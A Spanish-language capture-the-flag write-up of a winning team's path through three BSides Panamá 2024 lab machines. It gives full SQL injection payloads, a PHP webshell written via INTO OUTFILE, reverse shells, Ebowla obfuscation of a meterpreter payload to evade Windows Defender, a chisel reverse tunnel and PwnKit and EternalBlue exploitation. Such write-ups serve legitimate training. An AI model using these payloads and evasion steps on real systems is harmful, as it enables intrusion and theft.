En esta entrada, exploraremos las soluciones y estrategias utilizadas por mi equipo, formado por Elzer Pineda, Eduardo Luna y mi persona, José Navarro, durante el reciente Capture The Flag (CTF) organizado por Comunidad Dojo y OYDIA como parte de la agenda del BSides Panamá 2024, donde obtuvimos el primer lugar.

Nota: El CTF también contenía una serie de retos relacionados al Hacking de redes Wi-Fi, pero estos serán omitidos en el WriteUp por falta de documentación durante la explotación.

Topología de Red

La red estaba compuesta por dos servidores, uno Windows y un Linux, además un escritorio Windows 10, estos estaban en una red privada, a la que se accedía por medio de una VPN provista por los organizadores.

Topología de red

Webserver Linux

Reconocimiento Inicial

Al realizar un escaneo de puertos con Nmap, pudimos observar que los puertos 22, 80 y 3000 estaban abiertos, por lo que sospechamos que nos enfrentábamos a un servidor web. Luego realizamos un escaneo de servicios y versiones con Nmap, utilizando el comando:

nmap -p 22, 80, 3000 -sCV 10.1.1.101 -oN portScan

Y obtuvimos el siguiente resultado:

Escaneo de puertos

Al acceder al servicio web que se encontraba en el puerto 80, observamos que era una página vacía, por lo que intentamos realizar fuzzing.

El fuzzing nos dio como resultado dos rutas importantes, la primera de ellas era un archivo phpinfo.php y un directorio llamado copper.

Flag: Acceso a informacion de servidor Linux

Al ingresar al archivo phpinfo.php, podemos encontrar al final del archivo nuestra primera flag.

Primera flag

flag - 4789accc94caf5962a77d3f08bd2c9015c7576ea80fa0770507bf6373072529c

Directorio Copper

Una vez entramos al directorio, nos encontramos una apliciación web llamada Coppermine Gallery, que no es más que una galería de fotos. Al investigar un poco, encontramos que las credenciales por defecto eran admin:admin, al intentarlo, tuvimos acceso al panel administrativo, por lo que la aplicación tenía las credenciales por defecto.

copper

Shell como www-data

Al investigar más sobre Coppermine Gallery, encontramos que es vulnerable a una Ejecución Remota de Comandos (RCE), por lo que explotamos la vulnerabilidad de la siguiente manera:

  1. Crear una webshell o una reverse shell utilizando PHP, en nuestro caso, utilizamos php-reverse-shell.php, creado por PentestMonkey.
  2. Comprimimos la reverse shell en un archivo zip utilizando zip shell.zip shell.php.
  3. Accedemos al sitio de administración de plugins que se encuentra en /pluginmgr.php.
  4. Subimos el archivo comprimido con nuestra reverse shell.

    subida de archivo

  5. Iniciamos una sesión en Netcat para recibir nuestra shell.
  6. Acceder al directorio /plugins/shell.php shell

Flag: Acceso al servidor Linux - Usuario bajos privilegios

Una vez entramos al servidor, en el directorio /var/www/, nos encontramos un archivo llamado flag.txt siguiente flag:

user - 070670a00ab35e26ae913c88637a9fcb4206829c93bf991f1ccdc07944c71ec6

Flag: Acceso a informacion de servidor Linux #2

En el directorio /var/www/html, nos encontramos una carpeta llamada backups, en esta hay un archivo llamado backup-sql.sql, si nos traemos este archivo a nuestra máquina de atacante y lo analizamos, encontraremos nuestra siguiente flag.

flag

flag - 6dca221373d9e5086413d6def87c641431d7b3b4b9316a342f2eb26d96161f6d

PrivEsc www-data -> root

El escalado de privilegios en este servidor es bastante sencillo.

Al enumerar filtrar por los archivos con permisos SUID, por medio del comando find \-perm -4000 2>/dev/null encontramos que se encuentra el binario ./usr/bin/pkexec por lo que el servidor es vulnerable a CVE-2021-4034, o mejor conocido como PwnKit.

kernel

La explotación es simple, solamente nos descargamos el binario que se encuentra en GitHub y lo transferimos al servidor.

Al ejecutar el binario, obtenemos una shell como root.

root

Flag: Acceso al servidor Linux - Usuario bajos privilegios #2

En el directorio /home/greg, encontramos un archivo llamado flag.txt y aquí obtenemos nuestra flag de bajos privilegios.

user - 99ac9d9aa3e05bcc7593b106f3f87539ce437c397be0fd6b6113b9fdb43906d7

Flag: Acceso root al servidor Linux

En el directorio /root, encontramos un archivo llamado flag.txt y aquí obtenemos nuestra flag de root.

root - 2b19be30debdda83c56ee0bc6c0ffd1fd2ce0bc5190c930da74de59f8a795881

Con esto, concluimos la primera máquina de este CTF.

APP-01 Windows 10

Reconocimiento Inicial

Luego de realizar el escaneo de puertos y sus respectivas versiones, encontramos que en el equipo se estaban ejecutando distintos servicios, entre ellos habían servicios web (puertos 80, 443 y 3000), RPC, Netbios, SMB, MySQL, RDP, etc.

puertos

En cuanto a los servicios web, en el puerto 80 y 443 nos encontramos la pantalla de inicio de XAMPP.

xampp

Por otro lado, en el puerto 3000 nos encontramos un servidor de Gitea, de una versión aparentemente vulnerable a RCE, pero esa vulnerabilidad había sido proboada solamente en Linux.

gitea

Decidimos intentar Fuzzing en el puerto 80 con el siguiente comando:

wfuzz -c -t 500 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.1.1.101/FUZZ

fuzzing

Como se puede ver en la imagen, existe un directorio llamado login, vemos que su estado es 301, esto se da ya que decidimos realizar el fuzzing en al puerto 80, por lo que el servidor intenta redirigirnos al puerto 443.

Una vez entramos al directorio, encontramos una aplicación web básica que parece ser un proyecto de autenticación en PHP.

webapp

Algo curioso que encontramos en la aplicación, es que en la parte inferior derecha de la página, aparece el nombre de un blog de programación, por lo que imaginamos que es el creador de la aplicación.

nombre

Al ingresar al blog de PHPGurukul - Programming Blog, podemos encontrar este y otros proyectos de programación, así que pudimos encontrar el código fuente para analizarlo y encontrar otras cosas.

Inyección SQL 1

Al analizar el código fuente, encontramos la consulta SQL donde se realizaba el login, que era:

SELECT id,fname FROM users WHERE email='$useremail' and password='$dec_password'

Además, encontramos que la información ingresada por los usuarios no era sanitizada antes de llegar a la base de datos, por lo que era vulnerable a una inyección SQL.

Al utilizar ' OR '1'='1'; -- - en los campos de usuario y contraseña, obtenemos acceso al sitio administrativo.

login admin

Inyección SQL 2

Al navegar por el sitio administrativo, encontramos una opción para editar la información de los usuarios, lo curioso aquí, es que la información de los usuarios la obtenía a través de una consulta SQL, para poder realizar la consulta, utiliza un parámetro llamado uid, con números enteros.

perfil

Si reemplazamos el uid del usuario por un caracter especial como ', obtenemos un error de la base de datos, esto quiere decir que el parámetro es vulnerable a una inyección SQL.

error

Luego de mucho tiempo intentando inyecciones, realicé la siguiente consulta:

' UNION SELECT null, table_name, null, null, null, null, null FROM information_schema.tables -- -;

Esto me dió como resultado el esquema de la base de datos. Y algo muy curioso, es que me había una tabla llamada flag.

flag

Flag: Acceso a informacion del equipo de escritorio Windows 10

Al encontrar la tabla flag, realicé unos cambios en la consulta anterior, y realicé la siguiente consulta:

' UNION SELECT null, column_name, null, null, null, null, null FROM information_schema.columns where table_name="flag" -- -;

Y habemus flag!

flag

sql - 0ec96c090f1b4aa9d7674c6eaeef5009b6d02201cf9006b561bbd8d4e7

Inyección SQL 3 y RCE

Luego de haber conseguido la inyección SQL, pensamos si era posible escribir una webshell básica de PHP en el directorio C:\xampp\htdocs\, por lo que intentamos la siguiente consulta:

' UNION select 1,2,"<?php echo shell_exec($_GET['c']);?>",4,5,6,7 into OUTFILE 'C:/xampp/htdocs/cmd.php';-- -

Al ejecutar la consulta, nos dirigimos al archivo creado y tuvimos RCE.

whoami

Evasión de Antivirus y Shell como roger

Después de más de 3 horas intentando conseguir una reverse shell con nc.exe, php-reverse-shell.php y ejecutables creados con msfvenom, todas sin éxito, decidí enumerar información sobre Windows Defender.

Al ejecutar el comando powershell.exe Get-MpComputerStatus, encontramos que la protección en tiempo real estaba habilitada.

av

Esto significa que tendremos que crear un payload con msfvenom, para luego ofuscarlo, en este caso utilizando la herramienta Ebowla.

En este caso, creé un payload de meterpreter utilizando msfvenom, luego cloné el repositorio oficial de Ebowla, para ofuscar el payload.

Para ofuscar el payload, debemos editar el archivo genetic.config de Ebowla, aquí debemos ir a la sección de [ENV_VAR] y rellenar los datos con las variables de entorno del equipo víctima.

envvar

Luego de esto, ejecutamos lo siguiente

python2 ebowla.py shell.exe genetic.config

ebowla

Luego de esto, debemos compilar el código ofuscado que nos da Ebowla, esto lo realizamos con el script que viene con la herramienta.

compilacion

Una vez compilado, pasamos el binario a equipo víctima, en este caso con curl.

curl

Después de enviar el archivo, abrimos una sesión de escucha en meterpreter y ejecutamos el binario.

shell

Flag: Acceso al equipo de escritorio Windows 10

Luego de tener la shell, podemos ir al directorio C:\Users\Roger\Documents y encontraremos el archivo flag.txt con nuestra flag.

flag

root - fae6640c394268a0fd3cf71ab749c721230982669f8733bf9b92680ec5fc5bca

En este escritorio no es necesario escalar privilegios, por lo que podemos pasar al servidor DC-01.

DC-01 Windows Server 2012

Reconocimiento Inicial

Durante el escaneo de puertos, nos dimos cuenta que estábamos ante un Domain Controller de un Directorio Activo, pero algo que llamó mucho la atención, es que no tenía el servicio SMB expuesto (al menos eso pensábamos).

dc01

Luego de ver esto, pensamos que era muy extraño que en un Directorio Activo no esté el servicio SMB en ejecución, por lo que decidimos pensar fuera de la caja y hacer otro escaneo de puertos, pero desde una de la máquinas comprometidas, en este caso el WEBSERVER Linux, por lo que utilizamos Linpeas para realizar el escaneo de puertos de la siguiente manera:

./linpeas.sh -i 10.1.1.100

linpeas

El escaneo en Linpeas nos arroja que el puerto 445 está abierto, por lo que podemos hacer Port Forwarding desde la máquina Linux hasta nuestra máquina de atacante, para traer el puerto 445 y poder escanear el SMB, esto lo haremos utilizando la herramienta Chisel.

Para poder traer el puerto, primero debemos iniciar chisel en nuestra máquina de atacante con el comando:

./chisel server --reverse -p 1234

chisel

Luego, en la máquina Linux ejecutamos lo siguiente:

./chisel client 172.16.80.6:1234 R:127.0.0.1:445:10.1.1.100:445

chiselclient

Con esto, ya tendríamos el puerto 445 disponible, pero en este caso, el ataque lo tendríamos que dirigir a nosotros mismos, es decir, al la dirección 127.0.0.1.

Shell como nt authority\system

Para realizar el escaneo al servicio SMB, utilizamos lo siguiente:

nmap -p 445 -sCV --script "vuln and safe" 127.0.0.1 -oN smbScan

smbscan

Aquí descubrimos que el servidor es vulnerable a MS17-010, o mejor conocido como EternalBlue.

Por problemas de dependencias en Python 2.7 y la colección de Impacket para Python 2, decidí explotar la vulnerabilidad utilizando Metasploit.

msf

Una vez que se ejecuta, obtenemos una shell en el DC01 como nt authority\system.

shell

Flag: Acceso administrador al servidor Windows

Luego de obtener la shell, en el directorio C:\Users\Administrador\Desktop, encontramos el archivo flag.txt, que contiene la última flag que nos hace falta para terminar este CTF.

flag

root - a322ca338569fdfd2d32352dd86dab2ee584eefa5971ab3dfa0e934b0f527f79

Conclusiones

Participar en este Capture The Flag no solo me permitió aplicar y fortalecer diversos conocimientos, como la evasión de antivirus e inyecciones SQL, sino que también brindó momentos especiales llenos de diversión y sana competencia durante los desafíos presenciales. Quiero agradecir profundamente a Comunidad DOJO y OYDIA por la creación y desarrollo de este Capture the Flag. Además, quiero expresar mi agradecimiento a mi equipo, formado por Elzer Pineda, Eduardo Luna, y yo, José Navarro, por el esfuerzo que hicimos, que nos llevó a la victoria.

Referencias